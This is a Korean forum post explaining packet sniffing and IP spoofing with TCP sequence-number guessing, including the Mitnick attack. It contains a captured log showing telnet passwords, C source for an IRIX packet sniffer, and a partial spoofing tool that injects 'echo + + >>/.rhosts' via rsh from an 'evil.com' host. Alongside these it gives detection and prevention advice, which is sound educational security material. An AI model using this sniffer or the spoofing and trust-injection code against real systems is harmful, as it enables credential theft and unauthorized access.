최신 해킹 유형들
최근에는 해킹기술이 고도로 발달돼 예전에는 상상할 수도 없었던 고난도의 해킹
기술들이 존재하게됐다. 예전에는 기껏해봐야 관리자의 실수나 OS에서 실수를 한
프로그램들을 악용해 관리자의 권한을 얻는 것이 고작이었지만, 이제는 네트워크
상을 흘러다니는 정보의 기본단위인 패킷(packet: 네트워크상에 정보 를 송수신할
때 가장 기본이 되는 정보단위)을 하나하나 조작해 해킹을 하게 됐다.
이런 고난도 해킹의 예는 패킷 스니퍼링(packet sniffing)과, IP 스푸핑(IP
Spoofing: IP 사기치기), NFS(Network File System) file handle guessing, dns
server cache poisoning(네임 서버(IP 에 일대일 매치되는 네임 어드레스를
관리하는 호스트)에 잡 입해가짜 호스트들을 만들고 나오는 것) 등이 있는데
이중에서 스니퍼링과 스푸핑에 대해서만 다뤄 보기로 하자.
가장 심각한 해킹 기술, Sniffing
패킷들은 이더넷 케이블을 타고 전송이 된다. 이 패킷들은 어떤 유저가 어느
호스트에 로긴했다는 정보따위를 가지고 있는데, 이더넷 디바이스를 컨트롤해
흘러가는 패킷에서 원하는 정보인 유저들의 패스워드를 알아내는 것으로서 요즘
가장 심각한 문제가 되는 해킹 기술이다. 최근 해커들의 공격들의 통계를 내본
자료를 보면 스니핑에 의한 공격이 가장 많은 것으로 나타나고 있다.
스니퍼(Sniffer)란 무엇인가?
스니퍼는 네크워크의 한 호스트에서 실행되어 그 주위를 지나 다니는 패킷들을
엿보는 프로그램으로서 계정과 패스워드를 알아 내기 위해서 침입자들에 의해
자주 사용되는데 아무리 네트워크 보안에 신경을 쓴 호스트라도 주변의 호스트가
공격당해서 스니 핑을 위해 사용된다면 무력해질 수 밖에 없다. 이해를 돕기 위해
실제 스니핑 세션을 가지고 설명한다.
mordor# ./sniffit
Log started at => Mon Apr 8 20:29:04 [pid 10937]
-- TCP/IP LOG -- TM: Mon Apr 8 20:29:44 --
PATH: rohan.kaist.ac.kr(1270) => gondor.kaist.ac.kr(telnet)
STAT: Mon Apr 8 20:29:48, 30 pkts, 77 bytes [TH_FIN]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(253)^E(255)(251)#(255)(251)$(255)(250)^X
: IRIS-ANSI-NET(255)(240)(255)(253)^A(255)(252)^Aaragorn
: evenstar
: cls
: du -s -k *
: elm awen
-- TCP/IP LOG -- TM: Mon Apr 8 20:31:57 --
PATH: mordor.kaist.ac.kr(2389) => gondor.kaist.ac.kr(telnet)
STAT: Mon Apr 8 20:32:24, 106 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)&(255)(251)&(255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(25
1)$(255)(253)^E(255)(251)#(255)(250)^_
: P
: ^X(255)(240)(255)(250)
: 9600,9600(255)(240)(255)(250)^X
: XTERM(255)(240)(255)(253)^A(255)(252)^Agaladriel
: shwjdtjr=JD
:
: setenv DISPLAY rohan.kaist.ac.kr:0.0
: ne
위는 스니퍼 프로그램을 돌린 결과이다. gondor, mordor, rohan은 M학과의
전산실의 기계들인데 이미 침입자는 mordor에서 루트 권한을 따냈었고 스니퍼
프로그램을 실행시키고 있다(스니퍼가 동작하기 위해서는 네크워크 디바이스의
조작이 필요한데 이는 루트(시스템 관리자)만이 할 수 있다). 그렇다면
물리적인 네크워크 구도에서 인접해있는 호스트들은 모두 스니핑을 당하게 된다 .
처음 블럭에서 rohan에서 gondor로 aragorn이라는 계정으로 telnet 로긴을 한
것이 잡혔는데 이때 패스워드가 evenstar임을 알 수 있다. 그리고 로긴 직후에
실행한 몇몇 명령까지 잡혔다. 일반적으로 스니퍼 프로그램은 비교적 작은 크기의
제한된 버퍼를 사용하는데 필요에 따라 그것을 늘이기도 한다.
이더넷의 설계상 약점과 네트워크 스니퍼의 원리
가장 일반적인 LAN의 구성 방법은 이더넷을 사용하는 것으로 주변에서 가장 쉽게
접하는 경우이다. 이더넷을 통한 통신 방법은 매우 간단하다. A라는 호스트가
B라는 호스트로 패킷을 보내고 싶다면 호스트 A는 B와의 배타적인 연결을
통하는 것이 아니라 그 패킷을 이더넷에 뿌린다. 그리고 그 패킷은 일반적으로
수신 주소의 호스트만이 받도록 기대된다. 즉 일반적으로 자신에게 오지 않는
패킷은 받지 않으므로 호스트 B만이 A가 보내는 패킷을 받게 된다.
그러나 그것은 기대 사항일 뿐 언제라도 깨어질 위험부담을 안고 있는
프로토콜이다. 네크워크 디바이스는 자신에게 오지 않고 다른 호스트를 향해
지나가는 패킷까지 받는 상태에 들어갈 수 있는데, 그때를 'Promiscuous
mode'라고 부른다. 스니퍼는 바로 그 상태에서 동작한다. 이렇게 네트워크의
설계상의 커다란 약점이 있기 때문에 스니퍼에 의한 공격은 치명적이며 일부
OS를 제 외하고는 찾아내기가 곤란한 경우가 많고 막기 위해서도 많은 부담이
따른다.
스니퍼의 설계
스니퍼는 너무나 쉽고, 비열하게 해킹을 할 수 있기 때문에 해커들 간에서는
스니퍼를 이용하는 해커를 3류 취급해 상대도 하지 않는다. 이처럼 스니퍼는
해커들 사이에서조차 금기(?)시되는 치사한 프로그램이지만 그 자체로는 아주
훌륭한 네크워크 프로그 램이다. 실제로 대부분의 네트워크 분석 프로그램들은
Promiscuous mode에서 동작하며 또 그럴 수밖에 없다.
그리고 스니퍼의 핵심을 이루는 코드는 대부분의 OS에서 독립된 프로토콜로서
지원을 하는데 SunOS의 NIT, IRIX의 SNOOP이 좋은 예이다. 잘만 이용하면
침입자들을 상대하는 관리자들에게 큰무기가 될 수 있다. 네트워크를 감시하는데
사용할 수 있다는 말이다.
netlog(ftp://ftp.cert-kr.or.kr/pub/tools/etc/netlog/netlog-1.2.tar.gz)라는 좋은
툴이 이미 있다. 이 툴의 성격을 잘 말해주듯이 telnet과 ftp의 모듈은 제외돼 있다.
패스워드 스니핑에 사용되는 것을 막기 위함일 것이다.
스니퍼는 일반적으로 다음과 같은 일련의 동작을 하는 코드로 구성된다.
1.네트워크 디바이스를 열어서 Promiscuous mode로 만든다.
2.지나가는 모든 패킷을 읽는다.
3.패킷을 필터링해서 발신 및 수신 주소, 서비스(telnet, rlogin, ftp, smtp등),
그리고 계정과 패스워드가 포함된 데이터를 구분해서 출력한다.
3번의 기능을 하는 코드가 생략된 스니퍼 소스를 참고로 소개한다. IRIX에서
SNOOP을 사용해 제작되었다.
/* sgisniff.c by poison@baikdu.kaist.ac.kr
uses SNOOP(7P)
tested on IRIX 5.2, 5.3 */
#include
#include
#include
#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))
struct etherpacket {
struct snoopheader snoop;
char pad[ETHERHDRPAD];
struct ether_header ether;
char data[ETHERMTU];
};
main()
{
int s;
struct sockaddr_raw sr;
struct snoopfilter sf;
struct etherpacket ep;
int cc = 60000, on = 1;
char buf[100];
s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
sr.sr_family = AF_RAW;
sr.sr_port = 0;
strncpy(sr.sr_ifname, "ec0", sizeof sr.sr_ifname);
bind(s, &sr, sizeof sr);
memset((char *)&sf, 0, sizeof sf);
ioctl(s, SIOCADDSNOOP, &sf);
setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
ioctl(s, SIOCSNOOPING, &on);
for (;;) {
cc = read(s, (char *) &ep, sizeof ep);
write(1, (char *)&ep, sizeof ep);
sleep(2);
}
}
스니퍼, 그 대책과 예방
스니퍼 탐지
스니퍼는 Promiscuous mode에서 동작하기 때문에 네크워크 디바이스의 상태
플래그에 'PROMISC'가 있다면 일단 스니퍼가 돌고 있다고 생각해도 좋다.
SunOS 4.1.x 같은 BSD 계열의 유닉스나 IRIX에서는 'ifconfig'를 사용해서
스니퍼의 존재를 확인할 수 있 으나 대부분의 다른 유닉스(특히 Solaris)에서는
그것이 불가능하다.
[baikdu:/circ/kus/poison 2 ] uname -a
SunOS baikdu 4.1.3-KL 3 sun4m
[baikdu:/circ/kus/poison 3 ] ifconfig le0
le0: flags=163
inet 143.248.1.8 netmask ffffff00 broadcast 143.248.1.0
[eru:/eldar/people/poison 16 ] uname -a
IRIX eru 5.3 11091812 IP22 mips
[eru:/eldar/people/poison 17 ] ifconfig ec0
ec0:
flags=d63 LTICAST>
inet 134.75.100.53 netmask 0xffff0000 broadcast 134.75.255.255
SunOS 4.1.3, IRIX 5.3 에서 스니퍼 프로그램을 실행시키면서 ifconfig로
확인하면 다음과 같다. 두 기계에서 모두 flags를 나타내는 행에 'PROMISC'가
있는 것으로 스니퍼가 확인된다. SunOS 4.1.x에서 사용가능한 cpm이라는
프로그램이 있는데 ifconfig로 플래그를 조사하는 것과 같은 기능을 가진다.
일반적으로 스니퍼는 로그 파일을 만들어 데이터를 모은다. 따라서 그 로그
파일을 찾을 수 있으면 스니퍼를 찾기가 쉬어진다. 우선 다음과 같은 간단한
방법이 있다.
다른 호스트로 연결을 하면 스니퍼 로그 파일에 로그가 새로 만들어지게
되므로미리 만들어 두었던 /tmp/sniff_trap이란 파일을 기준으로 해 찾을 수가
있다. 단 빠른 결과를 위해 루트에서 프로세스의 우선권을 최대로 한다. 보다
확실히 하기 위해서 현재 열려져 있는 모든 파일의 리스트를 알 수 있다면
그 속에 스니퍼 로그 파일도 포함돼 있을 것이므로 스니퍼를 찾는데 도움이 된다.
lsof(ftp://ftp.cert-kr.or.kr/pub/tools/lsof) 이라는 툴의 사용을 권한다.
스니퍼 로그 파일을 찾아 없앴다면 스니퍼 프로세스를 찾도록 노력해본다.
시스템을 리부팅하면 되겠지만 그보다 침입자를 추적 하고 싶다면 그 프로세스를
직접 찾아내는 것이 바람직하다. 루트로 실행되고 있는 프로세스중에서 수상한
것들을 찾는다. ./a.out, ./in.telnetd, in.uucpd 등으로 숨겨지는게 보통인데
알아내기 어렵잖다.
# touch /tmp/sniff_trap
# telnet gondor.kaist.ac.kr
SunOS UNIX (gondor)
login: blah
Password:
Login incorrect
login:^D
Connection closed by foreign host.
# nice -19 find / -newer /tmp/sniff_trap -print
BSD ps(/usr/ucb/ps)가 사용 가능하다면 e옵션을 추가해서 프로세스가 시작됐을
때의 환경변수를 알아내어 어떤 계정이 해킹에 사용됐는지를 알아낼 수 있다.
어떻게 예방해야 하나?
스니퍼에 대비하는 방법의 원칙은 패스워드가 네트워크를 통해 전달되지 않게
하는 것이다. 그것의 구현은 암호화를 이용하거나 (secure shell, kerberos)
패스워드를 대신하는 토큰을 이용(S/key)하는 것을 예로 들 수 있다. 그런 부류의
소프트웨어들은 상 당수가 제작돼있는데 그중 공개 소프트웨어인 ssh(Secure
Shell: http://www.cs.hut.fi/ssh)이 사용하기에 가장 무난하다 . 이것은 패킷을
암호화해 sshd(서버)에게 보내는 ssh,scp(클라이언트)가 telnet, rlogin, ftp를
대신하는 패키지이다.
이제 좀더 고수준의 해킹 방법중의 하나인 spoofing에 대해서 알아보도록 하자.
IP 스푸핑이란?
spoof란 단어는 '속이다, 사기치다'는 뜻이다. 즉 쉽게 설명하면 해커가
머물러있는, 또는 단순히 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를
통해 해킹을 하는 것이다. 가령 A란 호스트와 B란 호스트가 하드디스크를
공유하고 있는데 A 란 호스 트와 B란 호스트는 보안이 잘 되어서 해킹하기가 보통
어려운 것이 아니라고 하자.
하지만 어떻게서든지 B란 호스트안에 있는 일급 극비 문서를 훔쳐오고 싶다면
어떻게 해야 할까? 그렇다면 해커의 최선의 선 택 방법은 다음과 같다. 우선
자신이 머물러 있는 호스트의 IP 어드레스를 B의 어드레스로 위장을 한다.
위장을 하면 B 의 호스 트의 화면에는 duplicated IP address 라는 문장이
찍히게 되고 B호스트는 네트워크 기능을 잠시 상실하게 된다.
이때를 놓치지 않고 해커의 호스트는 A 호스트에게 자신이 진짜 B호스트라는
정보를 보내어 A호스트와 같이 하드 디스크를 공유 하도록 시도한다. 성공하게
되면 해커는 A호스트의 하드디스크에 있는 극비 문서를 A호스트나 B호스트에
잡입하지 않고도 얻어낼 수 있게 된다.
또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number
guessing attack을 들 수 있다. 이에 대해서도 잠시 설명해볼까 한다.
TCP Sequence Number Guessing Attack이란?
과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서
인턴쉽으로 일할 때 썼던 논문에서 처음으로 알려 졌고 AT&T사의 Bellovin
S.M이 89년에 쓴 논문에서도 언급이 되었던 공격 방법이다(Security Problems in
the TCP/IP Protoc ol Suite).
케빈 미트닉이 사용한 방법
또한, 이런 공격을 이용해 작년도에 시큐리티계를 떠들석하게 했었던 사건이 하나
있다. 바로 케빈 미트닉이 시모무라 쓰토무( 슈퍼컴퓨터 센터 소속 연구원)의
컴퓨터를 공격해 자료를 빼간 뒤 관리자인 시모무라 쓰토무를 조롱하고 달아난
사건이다. 케빈 미트닉은 상당기간 동안 잡히지 않다가 시모무라 쓰토쿠의
눈물겨운 추적끝에 간신히 잡힌 것으로 이 사건은 결말나게 되었다. 케빈미트닉이
체포되어 잡혀가면서 시모무라에게 "당신의 실력은 정말 놀라왔소." 라고 말해 더
유명해진 사건이기도 하다. 바로 이 사건에서 케빈 미트닉이 쓴 방법도 TCP
Sequence Number guessing attack의 특별한 한 형태라고 할 수 있다 . (미트닉이
사용한 방법은 IP 어드레스를 spoof해서 Berkerly R-command(rlogin, rcp , rsh
등등)를 공격한 방법이었다.)
자 이제, IP Spoofing과 TCP Sequence number guessing attack을 자세히
알아보자. 간단히 A와 B라는 호스트가 서로를 trust하 고 있다고 가정하자.
자신의 PC의 IP 어드레스를 B라는 호스트로 바꾸고 A에게 접근하면 가능성이
있지 않겠느냐라고 의문을 제 기하는 분이 계실지도 모르겠으나 자신의 위치가
B라는 호스트가 위치한 곳보다 A보다 훨씬 더 시간적으로 유리한 위치, 즉 LAN
에서나 가능할 법한 이야기다. 그외의 경우에는 거의 소용이 없다고 보아도
무방하다..
자신의 IP 어드레스를 변조해도 B라는 trusted host가 A에게로 도달하는 거리가
멀뿐만 아니라. 자신의 서브넷에서 다른 IP 어 드레스를 가진 패킷을 날린다는
것은 라우팅상의 문제를 비롯해 갖가지 문제점이 제기된다.
그럼 케빈 미트닉이 Berkeley R-commands를 공격하는 경우를 예로 들어서 IP
spoofing 이 어떻게 작용하나에 대해서 알아보기 로 하자. 예를 들어 해커의
호스트를 evil.com이라 하고 target.com을 공격하기 위해서 target.com과
good.com간의 trusting Re lationship을 이용하고자 한다. 즉 ,
target.com # cat /.rhosts
good.com root
target.com #
간단히 evil.com의 IP 어드레스를 good.com의 IP 어드레스로 바꾼
다음에target.com의 rsh server에 접속하려고 시도했다 하자. 이 경우에는
TCP가 갖고 있는 Initial 3-way 핸드셰이킹 때문에 커넥션이 이뤄지지 않는다.
TCP의 Initial 3-way 핸드셰이킹 의 예를 우선 들어보자.
evil.com# telnet target.com login 할 경우
evil.com -> target.com SYN 1415531521
// evil.com이 Initial sequence number 를 보낸다.
target.com -> evil.com ACK 1415531521 SYN 1823083521
// target.com이 evil.com이 보낸 ISN을 ACK하고 target.com이 자신의
// Initial sequence number 를 보낸다.
evil.com -> target.com ACK 1823083521
// evil.com이 target.com의 ISN을 ACK한다.
위와 같은 패킷이 교환된다. TCP 헤더의 SYN 플래그는 'synchronize sequence
numbers'이다. SYN 플래그는 TCP Sequence Number 를 동반하는데 이 넘버는
TCP/IP implementation마다 생성되는 방법이 약간씩 다르다. 4.4BSD에서는
OS가 초기화될 때 1로 초기 화되고 그 후는 0.5초마다 64,000씩 증가한다. 또한
새로운 TCP 커넥션이 만들어질 때마다 64,000씩 증가한다.
단순히 evil.com의 IP 어드레스를 바꾸는 것만으로는 target.com이 evil.com한테
보내는 ISN을 받을 수가 없고(왜냐면 target.c om은 good.com에게 ISN을
보내겠지요.라우팅이 그렇게 되어 있을 테니까.) 따라서 커넥션이 성립되지
않는다. 커넥션이 establis h될려면 good.com이 target.com이 보내는 ISN이
보내는 패킷에 응답을 하지 말아야할 뿐만 아니라(보통의 경우 good.com은 이 럴
경우 RST(Reset connection) 패킷을 보내서 모든 것을 망친다) target.com이
good.com에게 보낸 ISN을 추측해서 ACK해줘야 한다. 이 두 스텝이 완벽하게
됐을 경우 echo '+ +' > /.rhosts 을 담은 rsh 패킷을 보내 원하는 목적을 이룰
수가 있다.
IP spoofer의 대략적인 코드
hose_conn(trust_host, trust_addr, seq_num, port_num)
{
...
/* sendtcppacket(
struct ether_addr source_hardware addr.
struct ehter_addr dest_hardware addr.
u_long source ip addr.
u_long dest ip addr.
u_short source port.
u_short dest port.
u_long sequence no.
u_long acknowledge no.
int flags (SYN, RST, ACK, PUSH, FIN)
char * data
int strlen(data)
*/
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), bad_addr,
trust_addr, port_num[i], 513,
seq_num, 0, TM_SYN, NULL, 0);
...
}
det_seq(targ_host, targ_addr, next_seq, offset)
{
...
/ 커넥션을 요구하는 패킷의 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), my_addr,
targ_addr, start_port, 514,
start_seq, 0, TM_SYN, NULL, 0);
/* readpacket(
struct fddi_header fddi_header
struct ether_header ether_header
struct ip ip_header
struct udphdr udp_header
struct tcphdr tcp_header
char * data
int strlen(data) )
*/
while(readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL) !=
PTYPE_IP_TCP) ;
if(ntohs(tcph.th_dport)==start_port && ntohs(tcph.th_sport)==514)
{
/ 포트번호가 맞다면 reply 패킷으로 간주하고 guessing을 시작한다 /
if(prev_seq) diff=tcph.th_seq-prev_seq;
else diff=0;
if(*offset==0) *offset=diff;
prev_seq=tcph.th_seq;
sendtcppacket(&(eh.ether_shost), &(eh_ether_dhost), my_addr,
targ_addr, start_port++,
514, start_seq++, 0, TM_RST, NULL, 0);
...
}
spoof_conn(trust_addr, targ_host, targ_addr, next_seq)
{
char *string="0rootrootecho + + >>/.rhosts";
/ SYN 패킷을 고유한 시퀀스번호에 맞춰 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr,
targ_addr, port, 514, seq++, 0,
TM_SYN, NULL, 0);
usleep(5000);
/ guess한 시퀀스번호에 맞춰 ACK 패킷을 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr,
targ_addr, port, 514, seq,
++next_seq, TM_ACK, NULL, 0);
/ rsh request를 시퀀스번호와 ACK번호에 맞추어 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr,
targ_addr, port, 514, seq,
next_seq, TM_ACK, string, stringlen);
seq+=stringlen;
/ 전송한 패킷이 ACK되어 처리되기를 기다린다 /
sleep(1);
/ 새로운 시퀀스번호에 맞추어 FIN패킷을 전송 /
sendtcppack
et(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq,
next_seq, TM_FIN, NULL, 0);
/ RST패킷 전송, 커넥션 파기./
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr,
targ_addr, port, 514, seq+4,
next_seq+4, TM_RST, NULL, 0);
...
}
main(argc, argv)
{
/* initialization of the packet */
init_filter("tcp", NULL);
/* trusted host의 513번 포트에 대해 flooding 시작 */
hose_trusted(argv[1], trust_addr, seq_num, port_num);
/* guessing Sequence Number */
det_seq(argv[2], targ_addr, &next_seq, &offset);
/* 실제 spoofing한 커넥션을 시작. 이때에는 다음 시퀀스번호를
알고있다 */
spoof_conn(trust_addr, argv[2], targ_addr, next_seq);
/* 모든 커넥션을 reset. */
reset_trusted(argv[1], trust_addr, seq_num, port_num);
exit(0);
}
* IP spoofing 에 대해서는 다음의 정보를 참조하자.
ftp://ftp.research.att.com/dist/internet_security
Bellovin paper : ipext.ps.Z
-> "Security Problems in the TCP/IP Protocol Suite"
Morris paper : 117.ps.Z
-> "A Weakness in the 4.2BSD Unix TCP/IP Software"
CERT_advisory
CA-95:01.IP.spoofing

운영자
01-03-09 17:03
0개
2,630회
최신 해킹 유형들... Sniffing
댓글목록
등록된 댓글이 없습니다.